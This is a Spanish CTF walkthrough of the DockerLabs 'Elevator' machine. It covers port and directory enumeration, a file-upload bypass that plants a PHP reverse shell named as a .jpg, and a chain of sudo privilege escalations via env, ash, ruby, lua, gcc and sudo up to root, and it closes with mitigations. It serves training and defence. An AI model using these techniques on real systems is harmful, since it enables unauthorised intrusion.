Ir al contenido

Elevator

Este documento presenta la resolución completa de la máquina Elevator, creada por beafn28 para DockerLabs y clasificada con un nivel de dificultad fácil.

El objetivo es proporcionar un análisis claro y bien estructurado de cada fase del proceso de explotación, abordando:

  • Identificación de servicios y recursos accesibles.
  • Análisis del comportamiento de la aplicación web.
  • Explotación basada en vulnerabilidades de subida de archivos.
  • Progresión controlada a través de múltiples cuentas locales.
  • Escalada final hasta obtener acceso root mediante binarios privilegiados.

Todas las acciones se realizaron dentro del entorno aislado de DockerLabs, sin afectar sistemas externos.


AtributoValor
NombreElevator
Autorbeafn28
DificultadFácil
Fecha01/12/2024
PlataformaDockerLabs

Se descomprime la máquina:

Ventana de terminal
unzip "Elevator.zip"

Luego, se inicia el contenedor mediante el script proporcionado:

Ventana de terminal
sudo bash auto_deploy.sh "Elevator.tar"

El script devuelve la IP interna, que utilizaremos durante toda la explotación.

IP asignada


Organizar la información ayuda al análisis y documentación:

Ventana de terminal
mkdir -p Elevator/{content,exploits,nmap,gobuster,scripts}
cd Elevator

Se identifica la superficie de ataque mediante un escaneo completo:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Resultado:

  • 80/tcp — HTTP

Puertos abiertos

El servidor web será nuestro punto de entrada.


Se procede a mapear directorios y archivos públicos:

Ventana de terminal
gobuster dir \
-u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js \
-t 200

gobuster scan

Rutas detectadas:

  • /index.php — Página principal, muestra un ascensor con temática de Scooby-Doo. index content
  • /themes — Directorio accesible pero sin permisos de listado.

Dado que themes aparece como posible punto de interés, se fuzzea su contenido:

Ventana de terminal
gobuster dir \
-u http://172.17.0.2/themes/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js \
-t 200

gobuster second scan

Se identifican:

  • /uploads — Directorio con acceso permitido.
  • /uploads.php — Posible manejador de subida.
  • /archivo.html — Formulario de subida de archivos.

El archivo archivo.html permite subir imágenes, lo cual sugiere una vulnerabilidad de File Upload.

El sistema restringe la carga solo a archivos con extensión .jpg. Se prueban varios bypass hasta encontrar uno funcional: renombrar la reverse shell como:

revShell.php.jpg

El archivo resulta aceptado y se sube sin problemas.

revshell upload

La subida se confirma revisando el directorio /uploads:

content of uploads

Antes de ejecutar el archivo malicioso, se abre un listener:

Ventana de terminal
nc -nlvp 443

Finalmente, se accede al payload para activar la reverse shell:

revshell

Acceso inicial obtenido como usuario www-data.


Cada usuario tiene permisos sudo sobre diferentes binarios. El CTF simula un “ascensor”: se debe ir escalando a cada miembro del equipo de Scooby-Doo hasta llegar a root.


Salida de sudo -l:

sudo -l www-data

Permite ejecutar env como daphne:

Ventana de terminal
sudo -u daphne env /bin/bash

daphne access


sudo -l Daphne

Permiso sobre ash:

Ventana de terminal
sudo -u vilma ash

Vilma access


sudo -l Vilma

Permiso sobre ruby:

Ventana de terminal
sudo -u shaggy ruby -e 'exec "/bin/bash"'

Shaggy access


sudo -l Shaggy

Permiso sobre lua:

Ventana de terminal
sudo -u fred lua -e 'os.execute("/bin/bash")'

Fred access


sudo -l Fred

Permiso sobre gcc:

Ventana de terminal
sudo -u scooby gcc -e -wrapper /bin/bash,-s .

Scooby access


sudo -l Scooby

Permite ejecutar sudo como root, lo cual es trivialmente explotable:

Ventana de terminal
sudo sudo /bin/bash

Root access

Acceso final: root.


  • Falta de validación de tipo MIME y extensión real en la subida de archivos.
  • Exposición del directorio /uploads sin restricciones.
  • Uso incorrecto de sudoers, permitiendo ejecutar binarios sin contraseña.
  • Permisos escalonados que facilitan movimiento lateral entre usuarios.
  • Ausencia de aislamiento entre cuentas del sistema.
  • Aplicación web sin sanitización o mecanismos de seguridad básicos.

  • Implementar validación estricta del tipo de archivo en las cargas.
  • Restringir acceso público a directorios sensibles (uploads).
  • Revisar configuraciones del archivo sudoers y eliminar permisos innecesarios.
  • Aplicar el principio de mínimo privilegio.
  • Habilitar logs, auditoría y monitoreo de acciones.
  • Aislar servicios web en usuarios sin acceso al sistema base.
  • Aplicar endurecimiento general del servidor web y del sistema host.